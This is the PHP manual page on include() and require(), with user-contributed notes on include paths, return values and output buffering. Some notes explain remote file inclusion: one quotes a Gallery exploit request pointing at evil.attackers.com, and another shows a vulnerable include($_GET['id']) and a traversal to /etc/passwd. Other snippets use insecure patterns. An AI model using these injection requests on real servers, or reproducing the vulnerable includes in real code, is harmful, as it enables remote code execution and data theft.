|
|
 |
The include() statement includes and evaluates
the specified file.
The documentation below also applies to require().
The two constructs are identical in every way except how they handle
failure. include() produces a
Warning while require()
results in a Fatal Error.
In other words, use require() if you want
a missing file to halt processing of the page. include() does
not behave this way, the script will continue regardless. Be sure to have an
appropriate include_path setting as well.
Be warned that parse error in required file doesn't cause processing halting
in PHP versions prior to PHP 4.3.5. Since this version, it does.
Files for including are first looked in include_path relative to the current working directory
and then in include_path relative to the directory of current script. E.g. if your include_path
is ., current working directory is /www/,
you included include/a.php and there is include "b.php"
in that file, b.php is first looked in /www/
and then in /www/include/.
If filename begins with ../, it is looked only in
include_path relative to the current working directory.
When a file is included, the code it contains inherits the
variable scope of the
line on which the include occurs. Any variables available at that line
in the calling file will be available within the called file, from that
point forward.
Example 16-5. Basic include() example |
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; include 'vars.php';
echo "A $color $fruit"; ?>
|
|
If the include occurs inside a function within the calling file,
then all of the code contained in the called file will behave as
though it had been defined inside that function. So, it will follow
the variable scope of that function.
Example 16-6. Including within functions |
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
foo(); echo "A $color $fruit"; ?>
|
|
When a file is included, parsing drops out of PHP mode and
into HTML mode at the beginning of the target file, and resumes
again at the end. For this reason, any code inside the target
file which should be executed as PHP code must be enclosed within
valid PHP start
and end tags.
If "URL fopen wrappers"
are enabled in PHP (which they are in the default configuration),
you can specify the file to be included using a URL (via HTTP or
other supported wrapper - see Appendix L for a list
of protocols) instead of a local pathname. If the target server interprets
the target file as PHP code, variables may be passed to the included
file using a URL request string as used with HTTP GET. This is
not strictly speaking the same thing as including the file and having
it inherit the parent file's variable scope; the script is actually
being run on the remote server and the result is then being
included into the local script.
| Warning | Windows versions of PHP
prior to PHP 4.3.0 do not support accessing remote files via this function, even if
allow_url_fopen is enabled.
|
Example 16-7. include() through HTTP |
<?php
include 'http://www.example.com/file.txt?foo=1&bar=2';
include 'file.php?foo=1&bar=2';
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; include 'file.php'; ?>
|
|
See also Remote files,
fopen() and file() for related
information.
Because include() and require()
are special language constructs, you must enclose them within a statement
block if it's inside a conditional block.
Example 16-8. include() and conditional blocks |
<?php
if ($condition)
include $file;
else
include $other;
if ($condition) {
include $file;
} else {
include $other;
}
?>
|
|
Handling Returns: It is possible to execute a return()
statement inside an included file in order to terminate processing in that
file and return to the script which called it. Also, it's possible to return
values from included files. You can take the value of the include call as
you would a normal function. This is not, however, possible when including
remote files unless the output of the remote file has
valid PHP start
and end tags (as with any local file). You can declare the needed
variables within those tags and they will be introduced at whichever point
the file was included.
Because include() is a special language construct,
parentheses are not needed around its argument. Take care when comparing
return value.
Example 16-9. Comparing return value of include |
<?php
if (include('vars.php') == 'OK') {
echo 'OK';
}
if ((include 'vars.php') == 'OK') {
echo 'OK';
}
?>
|
|
Note:
In PHP 3, the return may not appear inside a block unless it's
a function block, in which case the return() applies
to that function and not the whole file.
Example 16-10. include() and the return() statement |
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; $bar = include 'noreturn.php';
echo $bar; ?>
|
|
$bar is the value 1 because the include
was successful. Notice the difference between the above examples. The first uses
return() within the included file while the other does not.
If the file can't be included, FALSE is returned and
E_WARNING is issued.
If there are functions defined in the included file, they can be used in the
main file independent if they are before return() or after.
If the file is included twice, PHP 5 issues fatal error because functions
were already declared, while PHP 4 doesn't complain about functions
defined after return().
It is recommended to use include_once() instead of
checking if the file was already included and conditionally return inside
the included file.
Another way to "include" a PHP file into a variable is to capture the
output by using the Output Control
Functions with include(). For example:
Example 16-11. Using output buffering to include a PHP file into a string |
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}
?>
|
|
In order to automatically include files within scripts, see also the
auto_prepend_file and
auto_append_file
configuration options in php.ini.
Note: Because this is a
language construct and not a function, it cannot be called using
variable functions
See also require(), require_once(),
include_once(), readfile(),
virtual(), and
include_path.
User Contributed Notes
include
17-May-2005 11:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.
e.g :
if(file_exists("includes/a.php"))
include("includes/a.php")
The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
K.Tomono
13-May-2005 02:16
When you use remote file including via HTTP GET,
it will be of course parsed at local PHP environment of inner,
if the results from the target server are as the proper php code.
$ cat p.notphp
<?php phpinfo() ?>
".notphp" is not associated to application/x-httpd-php on the target server of course,
$ cat remoi.php
<?php include_once("http://target.localdomain/p.notphp");?>
Accessing remoi.php, then you will see the local phpinfo.
This matter might be merely the subject about this manual
doc notations.
But I cannot put on without this thing being well-known,
because of its concern with a social security reasons...
php at REMOVEMEkennel17 dot co dot uk
02-May-2005 08:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.
It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 08:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.
This means the functions and (more importantly) classes included will NOT work.
for example:
include "http://MyServer.com/MyInclude.php";
would not give you access to any classes or functions within the MyInclude.php file.
to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
randolph at panix dot com
25-Apr-2005 07:52
Nothing here spells out the very valuable feature that allows one to include() a fileof HTML.
richard at opnetworks dot com
21-Apr-2005 08:09
$path_parts = parse_url($_SERVER['REQUEST_URI']);
if($path_parts['path'] == "/dir/path")
{
echo "Access Denied";
exit();
}
I use this as a good practice. To keep people from directly running a include script
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 05:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.
So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.
<?php
function ChkInc($file){
if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
return true;
}else{
return false;
}
}
?>
if someone else has a better solution, do post it...
Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.
//Gillis Danielsen
necrotic at gmail dot com
09-Apr-2005 02:21
To expand on marco_ at voxpopuli-forum dot net's and redeye at cs-aktuell dot de's notes, here's a function to securely include files with direct output or a return.
<?php
define ( 'DOC_ROOT', $_SERVER["DOCUMENT_ROOT"] );
$badFiles = array (
'database.inc.php'
);
$badDirs = array (
DOC_ROOT.'/private',
);
function secure_include ( $file, $return = false )
{
global $badFiles, $badDirs;
if ( !is_array ( $badFiles ) OR !isset ( $badFiles ) ) $badFiles = array();
if ( !is_array ( $badDirs ) OR !isset ( $badDirs ) ) $badDirs = array();
$realPath = realpath ( $file );
$dirName = dirname ( $realPath );
$baseName = basename ( $realPath );
if ( !$realPath )
{
echo '<h1>404 Not Found</h1> We could not find the file you tried to load.';
return false;
}
else if ( in_array ( $baseName, $badFiles ) OR
in_array ( $dirName, $badDirs ) OR
!strstr ( $realPath, DOC_ROOT ) )
{
echo '<h1>403 Forbidden</h1> You do not have permission to view this file.';
return false;
}
else if ( !$return )
{
include_once ( $file );
return true;
}
else
{
ob_start();
include_once ( $file );
$page = ob_get_contents();
ob_end_clean();
return $page;
}
}
?>
webmaster at phpperu dot com
02-Apr-2005 06:28
Similar case of william~AT~phodex.dot.us:
Need to pass session vars to an included file (include file doesnt recognize it in the common way). Try this:
YOUR MAIN PROGRAM, PASS USR AND TIME SESSION VARS
<?
session_start();
include "http://www.demo.com/headfile.php?xusr=".$xusr."&xtime=".$xtime;
?>
dmhouse at gmail dot com
12-Feb-2005 12:56
Adding to the statements made by durkboek A_T hotmail D_O_T com, remote includes allow for the possibilities of Cross-Site Scripting (XSS) attacks. Quoting from George Schlossnagle's 'Advanced PHP Programming':
In late 2002 a widely publicized exploit was found in Gallery, photo album software written in PHP. Gallery used the configuration variable $GALLERY_BASEDIR, which was intended to allow users to change the default base directory for the software. The default behavior left the variable unset. Inside, the code include() statements all looked like this:
require($GALLERY_BASEDIR . "init.php");
The result was that if the server was running with register_globals on (which was the default behavior in earlier versions of PHP), an attacker could make a request like this:
http://gallery.example.com/view_photo.php? \
GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F
This would cause the require to actually evaluate as the following:
require("http://evil.attackers.com/evilscript.php ?init.php");
This would then download and execute the specified code from evil.attackers.com.
[...]
In his talk "One Year of PHP at Yahoo!" Michael Radwin suggested avoiding URL fopen() calls completely and instead using the curl extension that comes with PHP. This ensures than when you open a remote resource, you intended to open a remote resource.
marcus at lastcraft dot com
23-Jan-2005 08:39
Parse errors are not trapped in PHP 5.0.1 (probably other versions) with include(). Execution still stops the script. This differs from PHP 4.
This is a shame as you could detect and react to errors with...
$old = ini_get('track_errors');
ini_set('track_errors', true);
include($file);
ini_set('track_errors', $old);
if (isset($php_errormsg)) {
// Perform remedial action
}
...but alas, not with PHP 5.
dragon at wastelands dot net
09-Dec-2004 07:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script. E.g.
<? include("/different/root/script.php"); ?>
And this file contains:
<? echo __FILE__; ?>
The output is:
/different/root/script.php
Surprisingly useful :> Obviously something like dirname(__FILE__) works just fine.
william~AT~phodex.dot.us
24-Sep-2004 08:23
Need a way to simpify the passing of may variables to include files? Working on a project where you don't have access to every script involved? Is an eval or some other routine killing your access to $GLOBALS?
Let us call this aproach Scope Linking.
-----------------------------
We can "hijack" the $_SESSION superglobal (or any other) and use it for our own purposes (assuming it's not in use already). HERE'S HOW:
-----------------------------
Main file (sample1.php):
<?php
include ('sample2.php');
$_SESSION['var3'] = array();
$var2 =& $_SESSION['var2'];
$var3 =& $_SESSION['var3'];
$var1 = "Origional var1";
$var2 = "Origional var2";
$var3 = array('house'=>'blue','car'=>'tired','jet'=>'scripted');
$results = &Funky();
echo "------------------------<br>\n";
echo "Sample1 Script Output<br>\n";
echo "Var1: $var1<br>\n";
echo "Var2: $var2<br>\n";
echo "Var3: ${var3['house']} ${var3['car']} ${var3['jet']}<br>\n";
echo "------------------------<br>\n";
?>
-----------------------------
-----------------------------
Included file (sample2.php):
<?php
function &Funky()
{
foreach ($_SESSION as $name=>$val )
{
$$name =& $_SESSION["$name"];
}
echo "------------------------<br>\n";
echo "Sample2 Script Output<br>\n";
echo "Var1: $var1<br>\n";
echo "Var2: $var2<br>\n";
echo "Var3: ${var3['house']} ${var3['car']} ${var3['jet']}<br>\n";
$var1 = 'Second var1';
$var2 = 'wow, both ways! var2 rulez!';
}
?>
-----------------------------
OUTPUT:
------------------------
Sample2 Script Output
Var1:
Var2: Origional var2
------------------------
Sample1 Script Output
Var1: Origional var1
Var2: wow, both ways! var2 rulez!
------------------------
YES this means predeclairing your variables by referencing them to $_SESSION elements unless you prefer to use the longer form:
<?php $_SESSION['var2'] = "here's var2"; ?>
if you want all $GLOBALS has to offer you can be way less specific (grab it all, slower & only a copy):
<?php
foreach ($GLOBALS as $name=>$val )
{
$_SESSION["$name"] = $val;
}
?>
To see what you have access to, paste this in at the point you're interested in:
-----------------------------
<?php
if(isset($_SESSION))
{
foreach ($_SESSION as $key=>$val)
{
echo "$key -- $val <br>\n";
}
}
?>
-----------------------------
P. S. Because it's a superglobal you can get away without using compact, but compact() & extract() are another options to crack this nut.
ron at clicks2hits dot com Actionpro
22-Aug-2004 10:32
Include From .PHP to .html
/show.php
<?
$For = chr(80).chr(72).chr(80).chr(10);
$Sure = chr(82).chr(79).chr(67).chr(75).chr(83);
$Dude = "$For$Sure";
$row ='<font size="#009999" color="#8E1735" face="Arial">PHP And JS! Can You See This!</font>';
echo "document.write('$row')";
?>
/here.html
<html>
<!-- Creation date: 8/21/2004 -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Show PHP on .Html</title>
</head>
<body>
<script src="http://www.somesitesomeithink.com/show.php"></script>
</body>
</html>
mattcimino at gardiners dot com
10-Aug-2004 08:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
unazona at hotmail dot com
06-Aug-2004 12:44
Hello,
I found away to turn over this, it was like this
strings.php
-----------
switch ($msg_id) {
case 001 : echo "test";break;
case 002 : echo "test2";break;
....}
index.php
------------
<script type=javascript>
msg = '<? $msg_id = 001; include "strings.php"; ?>';
alert(msg);
</script>
...................
Alert doesn't work, because of an additional LF which has been added by include, so I've changed the code as the follwing
strings.php
-----------
switch ($msg_id) {
case 001 : return "test";
case 002 : return "test2";
....}
index.php
------------
<script type=javascript>
msg = '<? $msg_id = 001; echo include "strings.php"; ?>';
alert(msg);
</script>
---------------
so workss .. good luck , am I right anyway ?????????,,
durkboek A_T hotmail D_O_T com
03-Jun-2004 07:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
<?php
include ($_GET['id'].".php");
?>
This is, of course, not a very good way to program, but i actually found a program doing this.
Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
<?php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>
If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.
But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.
So, allways be extremely carefull with remote includes.
marco_ at voxpopuli-forum dot net
12-Apr-2004 12:27
In addition to the redeye at cs-aktuell dot de note:
to make pseudo-frame in total security
example: http://www.yourdomain.com/index.php?page=news
<?php
if(isset($HTTP_GET_VARS['page']))
{
$p = $HTTP_GET_VARS['page'];
}
else
{
$p = 'index';
}
switch($p)
{
case 'index':
require('welcome.php');
break;
case 'news':
require('news.php');
break;
case 'what you want':
require('the file you want');
break;
default:
exit('Wrong parameter for file inclusion');
}
?>
marco_
moosh at php dot net
15-Jan-2004 10:03
<?php
@include('/foo') OR die ("bar"); @(include('/foo')) OR die ("bar"); ?>
so "or" have prority on "include"
vincent [at] consultmac [dot] calm
10-Dec-2003 11:32
You could use the following to store file contents using include() and output buffering:
----------------------------------
// Aussme $file is set
ob_start();
include($file);
$file_contents = ob_get_contents();
ob_end_clean();
-----------------------------------
Have fun!
james at gogo dot co dot nz
09-Dec-2003 01:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
For example, we have two files, file 1.php contains...
<?php
function &x(&$y)
{
return include(dirname(__FILE__) . '/2.php');
}
$z = "FOO\n";
$z2 = &x($z);
echo $z2;
$z = "NOO\n";
echo $z2;
?>
and file 2.php contains...
<?php return $y; ?>
calling 1.php will produce
FOO
FOO
i.e the reference passed to x() is broken on it's way out of the include()
Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 04:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.
I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.
But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.
Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.
To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.
So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.
I hope this helps save someone else the hours it took me to figure out my problem!
David
php at mijav dot dk
19-Nov-2003 09:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
// ignore the notice and evaluate the return value of the script, if any.
if(@include(dirname(__FILE__)."/foo.php"))
echo "foo.php included";
else
echo "failed to include foo.php";
redeye at cs-aktuell dot de
08-Feb-2003 08:29
As to the security risks of an include statement like:
<?php
include($page);
?>
This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like
<?php
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
include($page);
?>
wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )
To be sure only pages are called you want the user to call use something like this:
<?php
$path = 'pages/';
$extension = '.php';
if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
$filename = $path.$page.$extension;
include($filename);
}
?>
This will only make sure only files from the directory $path are called if they have the fileextension $extension.
| |